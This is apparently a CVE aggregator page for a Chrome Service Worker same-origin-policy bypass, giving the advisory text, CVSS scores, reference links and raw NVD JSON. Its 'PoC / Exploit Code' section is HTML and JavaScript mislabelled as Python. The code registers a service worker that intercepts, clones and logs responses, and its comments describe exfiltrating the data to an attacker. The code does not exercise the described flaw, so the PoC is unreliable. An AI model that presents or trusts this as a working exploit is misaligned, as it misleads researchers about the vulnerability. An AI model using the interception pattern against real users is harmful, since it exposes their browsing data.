CVE-2026-9115

Description

Insufficient policy enforcement in Service Worker in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-9115: Service Worker SOP Bypass -->
<!-- index.html -->
<!DOCTYPE html>
<html>
<body>
<h1>CVE-2026-9115 PoC</h1>
<script>
  if ('serviceWorker' in navigator) {
    // Register the malicious service worker
    navigator.serviceWorker.register('sw.js')
      .then(function(registration) {
        console.log('Service Worker registration successful:', registration);
      })
      .catch(function(error) {
        console.log('Service Worker registration failed:', error);
      });
  }
</script>
</body>
</html>

/*
 * sw.js - The malicious Service Worker
 * This script exploits insufficient policy enforcement to bypass SOP.
 */

self.addEventListener('install', function(event) {
  self.skipWaiting(); // Activate immediately
});

self.addEventListener('fetch', function(event) {
  // Log intercepted requests to demonstrate potential data leakage
  // In a real attack, this data would be exfiltrated to an attacker-controlled server.
  console.log('[SW] Intercepted request:', event.request.url);
  
  // The vulnerability allows the SW to handle requests in a way that bypasses SOP
  // potentially reading responses that should be restricted.
  event.respondWith(
    fetch(event.request).then(function(response) {
      // Example: Clone and leak response body
      var clonedResponse = response.clone();
      clonedResponse.text().then(function(bodyText) {
        // Send data to attacker (simulated)
        console.log('[SW] Leaked data from:', event.request.url);
      });
      return response;
    })
  );
});

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9115
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9115
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9115/
[4] VulDB https://vuldb.com/cve/CVE-2026-9115
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/495999481

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9115", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:42.640", "lastModified": "2026-05-20T20:16:42.640", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in Service Worker in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to bypass same origin policy via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/495999481", "source": "[email protected]"}]}}